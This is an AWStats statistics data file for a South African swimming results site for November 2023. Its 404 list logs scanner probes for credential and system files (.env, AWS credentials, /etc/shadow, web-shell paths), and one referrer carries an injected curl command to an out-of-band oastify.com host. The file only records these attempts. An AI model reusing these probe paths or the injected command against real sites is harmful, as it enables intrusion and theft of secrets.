AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202311 will be lost/reset.
# Last config file used to build this data file was /home/swimsaliveorg/tmp/awstats/ssl/awstats.swimsalive.org.za.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2023                
POS_TIME 2701                
POS_VISITOR 24049               
POS_DAY 37990               
POS_DOMAIN 3575                
POS_LOGIN 4177                
POS_ROBOT 4332                
POS_WORMS 5307                
POS_EMAILSENDER 5438                
POS_EMAILRECEIVER 5581                
POS_SESSION 38773               
POS_SIDER 38961               
POS_FILETYPES 5716                
POS_DOWNLOADS 5948                
POS_OS 6362                
POS_BROWSER 6939                
POS_SCREENSIZE 9668                
POS_UNKNOWNREFERER 9742                
POS_UNKNOWNREFERERBROWSER 10613               
POS_ORIGIN 11127               
POS_SEREFERRALS 11271               
POS_PAGEREFS 11415               
POS_SEARCHWORDS 11732               
POS_KEYWORDS 11884               
POS_MISC 2365                
POS_ERRORS 11943               
POS_CLUSTER 4033                
POS_SIDER_404 12066               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20231201003718 81 18927 4616762522805
FirstTime 20231101031626
LastTime 20231130224300
LastUpdate 20231201083948 81 0 80 0 0
TotalVisits 413                 
TotalUnique 356                 
MonthHostsKnown 0                   
MonthHostsUnknown 363                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
PDFSupport 0 0 0
DirectorSupport 0 0 0
JavaEnabled 0 0 0
AddToFavourites 0 2 0
QuickTimeSupport 0 0 0
RealPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
FlashSupport 0 0 0
TotalMisc 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 25 25 86272 147 166 394497
1 333 335 888352 420 453 602515
2 165 166 647367 570 594 670037
3 154 155 601834 360 385 396258
4 28 28 116360 284 313 457350
5 312 313 346112 320 340 346053
6 19 20 103367 145 171 279673
7 114 116 348462 211 252 461245
8 16 17 58757 460 478 603981
9 9 9 70926 444 460 550081
10 28 34 189811 483 512 646763
11 13 13 90242 274 298 354513
12 98 98 385594 445 467 516175
13 177 198 578087 798 836 709649
14 171 181 1347581 405 429 593047
15 12 15 167850 510 523 552362
16 137 142 603932 259 288 341034
17 188 190 539447 237 261 234965
18 48 49 505540 242 258 251238
19 53 59 800830 259 282 399153
20 18 23 217842 191 213 332946
21 16 24 131821 167 187 347202
22 19 22 375838 162 190 305232
23 89 94 407096 159 189 294807
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 28
us 1987 2052 6710590
ca 45 45 665637
bg 25 33 633035
gb 20 20 57518
be 20 20 711514
ru 14 25 176811
au 14 14 60497
ie 12 12 36688
cn 11 11 191018
nz 10 10 29074
in 10 10 92858
ir 9 9 19463
nl 8 8 16373
fr 8 8 27520
pt 8 8 10730
de 7 7 54055
se 6 6 20305
eu 5 5 12266
ro 4 4 5983
at 4 4 5777
br 4 4 20684
cl 3 3 7086
id 2 2 6332
za 2 2 6880
jp 1 1 12171
es 1 1 2846
dk 1 1 12169
il 1 1 3440
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 22
nbot 2233 2282442 20231109211333 0
AhrefsBot/ 1492 1721554 20231130234247 0
Barkrowler 1000 894989 20231123185547 0
bot[\s_+:,\.\;\/\\-] 839 1417019 20231130231656 0
bingbot/ 373 1917089 20231130214835 0
Go\-http\-client/ 291 209230 20231101134940 0
feed 283 557044 20231130074734 0
YandexBot/ 158 336508 20231130074912 0
SemrushBot/ 114 175163 20231126000025 0
no_user_agent 36 734616 20231127133552 0
CCBot/ 25 41067 20231129175127 0
unknown 9 208 20231126055012 9
survey 4 81636 20231107074816 0
curl 3 112146 20231119130203 0
Applebot/ 3 10320 20231128232218 0
(firefox/)([0-9]\.|[0-1][0]\.) 3 19052 20231103164603 0
scanner 2 6880 20231101153407 0
facebookexternalhit/ 1 3440 20231130085046 0
Yahoo![\x20]Slurp 1 12167 20231112232935 0
Konqueror/ 1 12172 20231122143802 0
TurnitinBot 1 12168 20231112204600 0
php 1 3440 20231112211627 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 9
xml 16 598573 0 0
js 57 590927 0 0
html 1612 4987586 0 0
Unknown 2 74840 0 0
php 45 876287 0 0
json 5 60873 0 0
env 64 779127 0 0
txt 27 100357 0 0
htm 498 1540750 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 9
/2D85C8CD927BF78624B6307135CA12BB.txt 12 0 583
/557FAD2793EC5595D276DCA2463AB3F9.txt 11 0 530
/7341AA36B7ABFAF2E2B463CC5AF99792.txt 11 0 530
/509A90594011BDC39A8CDF2C61235C47.txt 11 0 530
/EC2A812D56A0E2EEC559221A83CD4860.txt 10 0 477
/66836485CB917FBA5187BF767962FD9D.txt 10 0 477
/configuration.txt 2 0 74780
/CHANGELOG.txt 1 0 12179
/core/CHANGELOG.txt 1 0 12179
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 36
androidpie 4 1
macosx 2 0
win8.1 6 4
Unknown 70 68
androidnougat 12 10
macosx15 108 94
win2000 2 2
android 52 44
winxp 5 4
win8 1 0
win7 133 129
androidoreo 18 18
androidjellybean 1 0
ios_ipad 3 3
linuxubuntu 28 25
macosx8 1 0
win10 365 340
psp 1 1
androidlollipop 9 9
macosx11 6 6
androidmarshmallow 7 7
macosx9 1 1
ios_iphone 39 38
winvista 1 1
palmos 1 0
unix 1 1
bsdopenbsd 1 0
symbian 1 1
macosx13 1 1
linux 1431 1421
macosx10 1 1
macosx14 4 4
androidkitkat 1 1
winunknown 1 0
bsdfreebsd 4 4
android10 4 3
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 130
firefox63.0.3 1 1
chrome100.0.4896.60 1 1
chrome44.0.4306.1816 3 3
opera12.16 1 0
chrome56.0.9031.1549 3 3
safari13.0 1 1
omniweb 1 0
multizilla 2 1
chrome43.0.7212.1941 3 3
iphone 3 3
chrome6.0.459.0 39 39
msie11.0 15 1
safari12.1.12 1 1
chrome99.0.4844.94 1 1
opera28.0.1750.40 1 0
opera8.0 2 2
chrome105.0.0.0 5 5
chrome103.0.9999.0 1 0
chrome84.0.4131.4 1 0
chrome80.0.3987.149 1 1
chrome44.0.7119.1659 3 3
chrome57.0.1688.1724 3 3
firefox77.0 5 5
chrome41.0.2225.0 1 1
chrome87.0.4280.88 1 1
chrome78.0.3904.108 1 1
chrome37.0.2049.0 1 1
chrome107.0.5304.68 4 4
mozilla 20 20
chrome94.0.4606.61 1 1
nokia 2 1
chrome116.0.0.0 1 1
chrome55.0.5780.1663 3 3
chrome108.0.0.0 27 27
chrome62.0.3187.0 1 0
chrome3.0.195.4 3 3
chrome74.0.3729.131 1 0
chrome42.0.5352.1083 3 3
chrome83.0.4103.97 11 11
safari15.2 2 0
chrome113.0.0.0 26 26
chrome112.0.0.0 5 5
firefox113.0 34 34
chrome76.0.3809.89 1 0
chrome101.0.4951.41 8 1
chrome40.0.6851.1916 3 3
chrome61.0.3163.79 1255 1251
firefox114.0 3 3
chrome92.0.4515.107 1 0
edge17 1 1
netscape5.0 3 3
chrome37.0.2062.124 1 1
firefox99.0 1 1
chrome60.0.3112.107 7 7
chrome75.0.3770.90 1 1
chrome100.0.4896.127 2 1
chrome75.0.3770.101 2 2
chrome103.0.5060.114 3 3
chrome77.0.3865.120 1 1
chrome110.0.0.0 3 3
chrome73.0.3683.86 1 1
chrome110.0.2345.678 1 1
chrome109.0.0.0 13 7
chrome67.0.3396.87 1 0
opera36.0.2130.46 1 0
safari9.0 1 1
chrome107.0.0.0 1 1
lg\- 1 0
chrome58.0.3029.110 1 1
firefox11.0 1 1
firefox16.0 1 0
safari10.0 2 2
chrome76.0.3809.111 3 1
chrome79.0.3945.93 1 1
sonyericsson 1 0
chrome114.0.0.0 95 83
chrome66.0.3359.117 1 0
chrome74.0.3729.61 1 1
msie8.0 1 0
chrome39.0.1687.1241 4 4
firefox78.0 272 272
msie7.0 1 0
epiphany 1 1
opera9.51 1 0
safari14.1.2 2 1
firefox72.0 16 14
chrome98.0.4758.119 1 0
firefox14.0.1 1 0
chrome90.0.4430.72 1 0
chrome100.0.4896.151 1 1
chrome71.0.2623.112 1 1
chrome121.0.0.0 11 11
chrome53.0.4429.1061 3 3
firefox15.0 1 1
msie5.01 1 0
chrome115.0.5790.110 6 6
firefox115.0 8 8
chrome43.0.2637.1516 3 3
chrome64.0.3282.186 1 1
chrome41.0.7719.1870 3 3
chrome89.0.4389.114 20 20
chrome87.0.4280.101 1 0
firefox95.0 31 31
chrome68.0.3440.75 1 0
chrome104.0.0.0 2 2
safari11.0 1 1
chrome36.0.1944.0 1 1
chrome43.0.2357.130 1 1
chrome119.0.0.0 5 4
opera93.0.0.0 4 4
chrome56.0.2705.1979 3 3
chrome40.0.2214.115 1 1
firefox65.0 1 1
chrome75.0.3770.100 3 3
chrome16.0.912.36 1 0
android 2 1
chrome84.0.4115.0 1 1
chrome40.0.9856.1185 3 3
chrome47.0.6358.1565 3 3
chrome101.0.4951.54 1 1
firefox30.0 1 0
chrome52.0.3237.98 1 1
Unknown 62 62
chrome101.0.4951.64 1 0
chrome86.0.4240.183 68 68
chrome74.0.3729.136 1 1
opera85.0.4341.79 1 0
firefox47.0 6 6
chrome12.0.742.100 73 73
safari 18 17
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 11
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20231129015032
python-requests/2.31.0 20231104055842
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231130155508
Mozilla/5.0_(compatible;_Dataprovider.com) 20231109012115
SonyEricssonK750i/R1CA_Browser/SEMC-Browser/4.2_Profile/MIDP-2.0_Configuration/CLDC-1.1 20231102142751
ClaudeBot 20231130223740
fasthttp 20231119020630
python-requests/2.27.1 20231119045103
Mozilla/5.0 20231124102223
AntBot 20231101134123
Nokia6230/2.0_(04.44)_Profile/MIDP-2.0_Configuration/CLDC-1.1 20231102213415
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 6
fasthttp 20231119020630
python-requests/2.27.1 20231119045103
AntBot 20231101134123
python-requests/2.31.0 20231104055842
ClaudeBot 20231130223740
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231130155508
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 2064 2148
From1 11 11
From2 0 0
From3 34 34
From4 133 133
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 4
http://webmail.swimsalive.org.za/wp-login.php 15 15
http://cpanel.swimsalive.org.za/wp-login.php 15 15
http://webmail.swimsalive.org.za 3 3
https://en.wikipedia.org 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
404 1176 0
503 129 0
401 92 4223
301 243 64030
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 440
/xxl.php 2 www.google.com
/config/application-test.yml 1 -
/config/default.json 4 -
/etc/phpmyadmin/apache.conf 1 -
/docker-compose.dev.yml 2 -
/new/.env 1 -
/wp-comments-post.php 1 -
/etc/httpd/logs/error_log 1 -
/wp-admin/.env 1 -
/config.json 5 -
/wp-content/plugins/WordPressCore/include.php 2 www.google.com
/sanaqdbn/ 2 -
/settings.py 1 -
/config/application-prod.yml 1 -
/about 1 -
/.env.development.local 3 -
/info.php 1 -
/apps/.env 1 -
/usr/share/nginx/html/.aws/credentials 1 -
/www.android.com/images/brand/get_it_on_play_logo_small.png 21 https://swimsalive.org.za/results/liveresults_kenyaNairobi/main.html
/.env.save 4 -
/WEB-INF/classes/database.properties 1 -
/sal3pta/ 2 -
/WEB-INF/classes/mail.properties 1 -
/etc/aws/credentials 1 -
/WEB-INF/classes/*.properties 1 -
/gpnel/ 2 -
/gp3/ 2 -
/grandprixct/ 2 -
/sascpmbg/ 2 -
/parameters.env 1 -
/auth/cloudkms 1 -
/credentials/config.json 3 -
/sal3ct/ 2 -
/var/log/syslog 1 -
/newsite/.env 1 -
/.env.local 3 -
/wp-content/plugins/wp-e-commerce/wp-shopping-cart.php 1 -
/.env.example 3 -
/2021/ajsc2021/ajsc2021/main.htm 2 -
/etc/apache2/sites-available/000-default.conf 1 -
/var/lib/mongodb/mongod.lock 1 -
/wp-head.php 2 www.google.com
/var/log/cloud-init-output.log 1 -
/blog/wp-content/plugins/wp-fastest-cache/readme.txt 1 -
/etc/hosts 1 -
/home/%3CUSER%3E/.aws/config 1 -
/sajundbn/ 2 -
/saowspe/ 2 -
/evtindex.html 2 http://www.swimsalive.org.za/results/liveresults_capetown/level3/
/ 3 -
/sanatchamps/ 2 -
/ausr52016/ 2 -
/misc/drupal.js 3 -
/2021/ajsc2021/ajsc2021/evtindex.htm 1 -
/old/.env 1 -
/sanysnpe/ 2 -
/.aws/credentials 3 -
/.env.swimsalive 3 -
/liveresults_border/ 2 -
/etc/apache2/sites-available/ 1 -
/liveresults_centralgauteng/ 2 -
/audio/.env 1 -
/auth/cloud-platform 1 -
/.DS_Store 1 -
/liveresults_northerncape_kimberley/ 2 -
/sal3wc/ 2 -
/_all_dbs 1 -
/proc/net/tcp 1 -
/.env.bak 4 -
/salevel2ega/ 2 -
/config/environments/development.yml 1 -
/static/admin/javascript/hetong.js 3 -
/sanowsec/ 2 -
/wp-content/plugins/akismet/akismet.php 1 -
/sal2ec/ 2 -
/s/53e2833323e2135323e2239313/_/ 1 -
/var/lib/docker/.aws/credentials 1 -
/cgi-bin/ 32 -
/ads.txt 1 -
/web/.env 1 -
/canaziv/ 2 -
/database.php 1 -
/opt/google-cloud-sdk/lib/googlecloudsdk/core/config.json 1 -
/xiicana/ 2 -
/gp2/ 2 -
/appsettings.json 1 -
/app/.env 2 -
/WEB-INF/classes/mail.yml 1 -
/cgi-bin/.env 1 -
/etc/apache2/ports.conf 1 -
/auth/servicecontrol 1 -
/sanl2rec/ 2 -
/M1.php 2 www.google.com
/results/noresult.html 12 https://swimsalive.org.za/results/liveresults_vaaltriangle/level1/
/auth/devstorage.full_control 1 -
/.env.production 3 -
/admin/.env 2 -
/azure-functions-host.json 1 -
/etc/apache2/sites-available/default-ssl.conf 1 -
/woh.php 1 www.google.com
/gpdbn/ 2 -
/includes/database.php 1 -
/salevel2ct/ 2 -
/gpmpl/ 2 -
/liveresults_angola/ 2 -
/login.action 1 -
/wp-content/themes/twentythirteen/index.php 1 -
/home/%3CUSER%3E/.aws/credentials 1 -
/etc/php/7.2/apache2/php.ini 1 -
/config/application.yml 1 -
/local.settings.json 1 -
/applicationhost.config 1 -
/proc/net/route 1 -
/2021/sascc2021/sascc2021/evtindex.htm 1 -
/.well-known/openid-configuration 1 -
/site.xml 1 -
/gpstb/ 2 -
/config/environments/staging.yml 1 -
/secrets.json 1 -
/appsettings.yml 1 -
/2021/canajac2021/canajac2021/evtindex.htm 3 https://swimsalive.org.za/2021/canajac2021/canajac2021/
/sftp-config.json 2 -
/v2/_catalog 1 -
/canazone4/ 2 -
/api/.env 4 -
/var/log/apache2/ 1 -
/docker-compose.yml 2 -
/contact 1 -
/protected/.env 1 -
/sanl3rgt/ 2 -
/home/user/.aws/config 1 -
/canajac2021/ 2 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 2 -
/src/.env 1 -
/Public/home/js/check.js 3 -
/etc/mysql/my.cnf 1 -
/sal2nw/ 2 -
/sftp.json 2 -
/config.js 1 -
/telescope/requests 1 -
/salevel2kzn/ 2 -
/database.yml 1 -
/var/lib/mysql/mysql/user.MYD 1 -
/META-INF/context.xml 1 -
/application/.env 1 -
/auth/pubsub 1 -
/includes/config.php 1 -
/blog/.env 1 -
/secrets.php 1 -
/var/www/html/ 1 -
/proc/cmdline 1 -
/azuredeploy.parameters.json 1 -
/test/ 1 -
/local/.env 2 -
/debug/phpinfo.php 1 -
/secrets.yml 1 -
/docker-compose.prod.yml 2 -
/etc/apache2/sites-available/default 1 -
/includes/settings.inc.php 1 -
/parameters.xml 1 -
/includes/settings.php 1 -
/salevel2/ 2 -
/aws.yml 1 -
/opt/aws/credentials 1 -
/wp-content/themes/twentynineteen/index.php 1 -
/etc/apache2/apache2.conf 1 -
/lib/phpunit/phpunit/phpunit.xsd 1 -
/database.xml 1 -
/WEB-INF/classes/database.yml 1 -
/grandprixpe/ 2 -
/sal2out/ 2 -
/gp1/ 2 -
/WEB-INF/applicationContext.xml 1 -
/2019/sanyscdbn/sanyscdbn/190408lastevt.htm 1 -
/appsettings.xml 1 -
/backend/.env 2 -
/etc/ssh/sshd_config 1 -
/.well-known/phpinfo.php 1 -
/wp-login.php 8 http://www.google.com.hk
/web.config 1 -
/etc/redis/redis.conf 1 -
/liveresults_vaaltriangle/ 2 -
/etc/gcp/gce.key 1 -
/sal2wc/ 2 -
/maps/ 2 -
/WEB-INF/classes/security.yml 1 -
/app.config 1 -
/parameters.yaml 1 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 1 -
/root/.aws/config 1 -
/wp-content/themes/twentyfourteen/index.php 1 -
/jcdbn/ 2 -
/includes/local.php 1 -
/home/.aws/credentials 1 -
/include.php 1 -
/sal3fs/ 2 -
/var/www/.htaccess 1 -
/public/.env 1 -
/liveresults_northwest/ 2 -
/var/log/dmesg 1 -
/sanic/ 2 -
/.env 13 -
/frontend_dev.php/$ 1 -
/liveresults_pietermaritzburg/ 2 -
/etc/ssl/private.key 1 -
/profile.php 1 -
/etc/sudoers 1 -
/var/log/nginx/access.log 1 -
/WEB-INF/classes/jdbc.properties 1 -
/var/log/messages 1 -
/wp-content/.env 1 -
/var/lib/jenkins/.aws/credentials 1 -
/salevel3pr/ 2 -
/2021/canajac2021/canajac2021/main.htm 1 https://swimsalive.org.za/2021/canajac2021/canajac2021/
/liveresults_portelizabeth/ 2 -
/sal3ga/ 2 -
/www/.env 1 -
/salevel2germ/ 2 -
/docker-compose-dev.yml 2 -
/config/application-development.yml 1 -
/etc/apache2/sites-enabled/ 1 -
/noresult.html 5 https://www.swimsalive.org.za/results/liveresults_border
/auth/service.management.readonly 1 -
/sites/all/libraries/mailchimp/.env 1 -
/vendor/laravel/.env 1 -
/debug.php 1 -
/grandprixdurban/ 2 -
/salevel1kzn/ 2 -
/.vscode/sftp.json 3 -
/sal2sas/ 2 -
/root/.aws/credentials 1 -
/gp4/ 2 -
/.env.old 3 -
/etc/apache2/mods-enabled/ 1 -
/shell20211028.php 2 www.google.com
/home/user/.aws/credentials 1 -
/config/parameters.yml 1 -
/sal2lim/ 2 -
/liveresults_limpopo/ 2 -
/liveresults_sashortcourse/ 2 -
/library/.env 1 -
/root/.aws/credential 1 -
/config.php 1 -
/wp-includes/images/include.php 1 www.google.com
/etc/openldap/ldap.conf 1 -
/proc/mounts 1 -
/canaz4/ 2 -
/wp-sitemap-posts-post-1.xml 1 -
/debug/default/view 1 -
/ajcairo/ 2 -
/app/config/.env 1 -
/wp-admin/admin-ajax.php 1 -
/wp-content/plugins/woocommerce/woocommerce.php 1 -
/secrets.yaml 1 -
/azuredeploy.json 1 -
/var/lib/cloud/instance/scripts/ 1 -
/sascdbn/ 2 -
/saysowspe/ 2 -
/sanl2rfs/ 2 -
/proc/net/udp 1 -
/config/application-local.yml 1 -
/liveresults_southwestdistrict/ 2 -
/opt/aws/config 1 -
/config/spring.yml 1 -
/_profiler/phpinfo.bak 1 -
/auscyth/ 2 -
/etc/gcp/gce.conf 1 -
/liveresults_maputo/ 2 -
/core/.env 1 -
/wp-content/themes/twentyeleven/index.php 1 -
/auth/sqlservice.admin 1 -
/config/database.yml 1 -
/etc/gshadow 1 -
/sashortcourse/ 2 -
/sajuniordbn/ 2 -
/config 1 -
/.env_1 3 -
/META-INF/spring/*.xml 1 -
/config/application-dev.yml 1 -
/proc/self/environ 1 -
/database/.env 1 -
/liveresults_freestate/ 2 -
/test.php 1 -
/etc/ssh/ssh_config 1 -
/var/log/httpd/error_log 1 -
/etc/httpd/logs/access_log 1 -
/etc/exports 1 -
/wp-content/themes/finley/min.php 2 www.google.com
/var/log/apache2/access.log 1 -
/wp-content/themes/twentytwelve/index.php 1 -
/WEB-INF/classes/application.xml 1 -
/etc/shadow 1 -
/META-INF/maven/*.xml 1 -
/core/misc/drupal.js 3 -
/r.mzstatic.com/images/web/linkmaker/badge_appstore-lrg.gif 20 https://swimsalive.org.za/results/liveresults_kenyaNairobi/main.html
/var/run/secrets/gcp/key.json 1 -
/deployment-config.json 2 -
/var/lib/jenkins/.aws/config 1 -
/wp-content/themes/twentytwenty/index.php 1 -
/liveresults_johannesburg/ 2 -
/configuration.php 1 -
/.aws 1 -
/docker-compose.override.yml 2 -
/sal2pol/ 2 -
/prod/.env 1 -
/vendor/.env 1 -
/results/liveresults_sashortcourse/150716lastevt.htm 1 -
/var/lib/docker/.aws/config 1 -
/liveresults_eastlondon/ 2 -
/etc/group 1 -
/msdeploy.axd 1 -
/var/log/nginx/error.log 1 -
/liveresults_capetown/ 2 -
/proc/cpuinfo 1 -
/liveresults_mpumalanga/ 2 -
/database.json 1 -
/var/log/cloud-init.log 1 -
/WEB-INF/classes/security.properties 1 -
/phpinfo.php 1 -
/etc/nginx/nginx.conf 1 -
/liveresults_easterngauteng/ 2 -
/WEB-INF/classes/application.properties 1 -
/liveresults_zambia/ 2 -
/swimsalive.org.za/.env 1 -
/vendor/phpunit/phpunit/src/Util/PHP/eval.php 1 -
/etc/httpd/conf/httpd.conf 1 -
/base/.env 1 -
/wp-content/plugins/yyobang/mar.php 2 www.google.com
/kznapremier/ 2 -
/.env.www 6 -
/phpinfo 1 -
/WEB-INF/classes/*.xml 1 -
/auth/bigquery 1 -
/canaivmalawi/ 2 -
/var/log/apache2/error.log 1 -
/.aws/config 3 -
/proc/1/environ 1 -
/etc/my.cnf 1 -
/applicationHost.config 1 -
/docker-compose.production.yml 2 -
/etc/fstab 1 -
/salevel3sb/ 2 -
/sascc2021/ 2 -
/opt/google-cloud-sdk/path.bash.inc 1 -
/.env_sample 3 -
/wp-content/themes/twentyfifteen/index.php 1 -
/liveresults_durban/ 2 -
/var/www/.aws/config 1 -
/ajsc2021/ 2 -
/wp-content/plugins/wp-fastest-cache/readme.txt 1 -
/.config/sftp.json 2 -
/usr/share/nginx/html/.aws/config 1 -
/WEB-INF/classes/application.yml 1 -
/.env.production.local 3 -
/sal3sas/ 2 -
/config/application-production.yml 1 -
/wp-content/themes/twentysixteen/index.php 1 -
/config/application-staging.yml 1 -
/.env.backup 3 -
/config/environments/test.yml 1 -
/localsettings.php 1 -
/sanyscdbn/ 2 -
/conf/.env 1 -
/ftpsync.settings 2 -
/config/environments/production.yml 1 -
/wp-content/themes/twentyseventeen/index.php 1 -
/META-INF/application.xml 1 -
/sal3kz/ 2 -
/crm/.env 2 -
/admin/.git/config 1 `curl%20-v%20http://ygicamkm2ljfv0mlutpmiuv2jtpkdb10.oastify.com/swimsalive.org.za_ref`
/liveresults_zimbabwe/ 2 -
/storage/.env 1 -
/auth/datastore 1 -
/proc/net/if_inet 1 -
/results/liveresults_sashortcourse/150716F211.htm 1 -
/var/lib/cloud/instance/user-data.txt 1 -
/sanl2rlp/ 2 -
/liveresults_northerntigers/ 2 -
/sayspe/ 2 -
/sanjagc/ 2 -
/var/log/httpd/access_log 1 -
/auth/logging.write 1 -
/laravel/.env 2 -
/.env.live 3 -
/auth/monitoring.write 1 -
/wp-includes/widgets/include.php 2 www.google.com
/parameters.json 1 -
/salevel1ct/ 2 -
/robots.txt 419 -
/usr/local/google/home/user/.config/gcloud/application_default_credentials.json 1 -
/config/application-stage.yml 1 -
/2020/sanic/sanic/evtindex.htm 1 https://swimsalive.org.za/2020/sanic/sanic/
/sanacdbn/ 2 -
/wp-content/themes/twentytwentyone/index.php 1 -
/liveresults_botswana/ 2 -
/WEB-INF/classes/jdbc.yml 1 -
/var/www/.aws/credentials 1 -
/WEB-INF/web.xml 1 -
/sanl3rwc/ 2 -
/.git/config 10 -
/includes/configuration.php 1 -
/sanl3rfs/ 2 -
/var/log/secure 1 -
/docker-compose.staging.yml 2 -
/.env.stage 3 -
/liveresults_northernkzn/ 2 -
/serviceconfiguration.cscfg 1 -
/.env.prod 3 -
/angola/ 2 -
/app/config/parameters.yml 1 -
/includes/configure.php 1 -
/etc/mysql/conf.d/ 1 -
/appsettings.yaml 1 -
/etc/aws/config 1 -
/application.wadcfg 1 -
/parameters.yml 1 -
/salevel1ega/ 2 -
/saiac/ 2 -
/liveresults_kenyaNairobi/ 2 -
/etc/apache2/conf.d/ 1 -
/.env.prod.local 3 -
/secrets.xml 1 -
/.env.dev 3 -
/proc/net/if_inet6 1 -
/.env.dev.local 3 -
/server-status 1 -
/var/log/auth.log 1 -
/_profiler/phpinfo 1 -
/etc/passwd 1 -
/config/config.json 3 -
/salevel2pe/ 2 -
/var/www/html/.htaccess 1 -
/proc/version 1 -
/salevel3pe/ 2 -
/chosen.php 1 www.google.com
/class.api.php 2 www.google.com
/parameters.config 1 -
/config/secrets.yml 1 -
/etc/apache2/mods-available/ 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
